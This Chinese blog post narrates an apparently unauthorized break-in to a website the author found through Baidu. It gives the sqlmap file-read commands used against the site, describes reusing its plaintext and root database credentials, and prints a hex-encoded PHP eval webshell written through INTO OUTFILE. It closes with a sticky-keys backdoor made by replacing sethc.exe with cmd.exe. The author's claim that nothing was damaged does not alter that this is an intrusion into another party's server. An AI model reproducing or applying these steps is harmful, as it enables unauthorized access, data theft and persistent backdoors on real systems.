说明
本次渗透入侵仅以发现问题为主,未做任何破坏性行为
为了保证目标站点的信息安全,图片中已经打码,以下目标URL用www.360xxxx.com代替
近日闲来无聊,刚好Roland想学习一下安全方面的相关技术思路,在百度上随便找了一个存在注入的站,结果一路坎坷,花了好几小时才撸下服务器,遂记录一下思路
入侵过程
获取信息部分很简单,在URL的各个参数上加上单引号,发现爆出来了路径
拿到了网站的绝对路径
E:\test\360XXXX\wsq\wsq2\news.php
同时确认该站存在注入,在使用sqlmap跑过之后,也是证实了这个想法
然后开始用sqlmap跑库跑表跑数据,跑出来数据一看,吓尿了,居然是明文存储的密码
然后开始找后台,结果发现后台是如此简单。域名后加admin,顺利撸进后台
接下来拿shell,翻遍了整个后台,发现使用ThinkPHP框架二次开发的,有个上传图片的地方,但是对上传的文件不仅做了扩展名检测,还有文件头检测,感觉过滤比较严密,遂放弃
然后再返回到注入这里,想到既然有了注入点和绝对路径,那是不是可以写一个shell进去,然后发现用sqlmap写不进去shell
然后用sqlmap看了一下mysql 的权限,发现是administrator
mysql权限比较高,然后用sqlmap 去查询root的密码,然后丢到cmd5发现完全解不出来,这条路子也断了
然后在这里卡壳了好长时间,一直在想如何去写入shell,扫描端口之后发现对外开了3306
然后想着能不能去在php里反查他的root密码
在查询sqlmap的资料的时候发现sqlmap有一个读取文件的功能,结合之前的绝对路径可以读取文件
sqlmap -u "http://www.360XXXX.com/wsq/wsq2/news.php?id=4825&y=1&ty=头条资讯" -p id --file-read E:\test\360XXXX\wsq\wsq2\news.php
然后既然页面存在注入,那么页面必然是连接到数据库的,顺着php的include信息一路扒,总能拿到数据库连接信息,于是开始去读取文件,发现能够顺利的读到news.php的源代码
然后去查看下载到本地的源代码,在本地的存储路径为
/home/chaplin/.sqlmap/output/www.360XXXX.com/files/E__test_360XXXX_wsq_wsq2_news.php
看到包含了一个consql.php,根据文件名判断是连接数据库的信息,然后构造路径开始读取这个文件
sqlmap -u "http://www.360XXXX.com/wsq/wsq2/news.php?id=4825&y=1&ty=头条资讯" -p id --file-read E:\test\360XXXX\conMysql\consql.php
同样顺利读到了该文件,然后拿到了root密码
发现数据库竟然连的是内外网地址,抱着试一试的心态,扔到Navicat里尝试连接,发现连接成功了
然后顺利从注入点的sql执行转向了mysql的命令行,而且还是一个administrator的权限
然后尝试在sql命令行里写入shell,php代码需要转成hex
SELECT 0x3C3F706870206576616C28245F504F53545B276C696E65275D293B3F3E INTO OUTFILE "E:\\test\\360XXXX\\wsq\\wsq2\\line.php";
然后成功的把一句话写入进去了,拿到了webshell
接下来是提权部分,提权这里卡了我很长时间,mysql的udf导出函数之后,没法运行,原因我自己也不清楚
php的一句话也执行不了命令,发现机器还有SQL Server,翻了四五个网站找sa的密码,结果找到的都是其他账户的,管理员根本没用sa
思来想去,死活没有办法,然后开始在菜刀上翻他的目录
当点到C:\Documents and Settings\Administrator\的时候发现居然可以读取出来里面的东西
立即判断,他的php是运行在高权限下的,不然是不可能读取出来Administrator用户的文件信息的
然后用菜刀跳到system32中,用cmd.exe替换sethc.exe,做了一个shift后门,最终成功撸下了服务器
总结一下
其实还是sqlmap的一些运用,加上管理员对权限的疏忽,导致mysql和php运行在高权限下,最终对全盘文件操作,拿下了服务器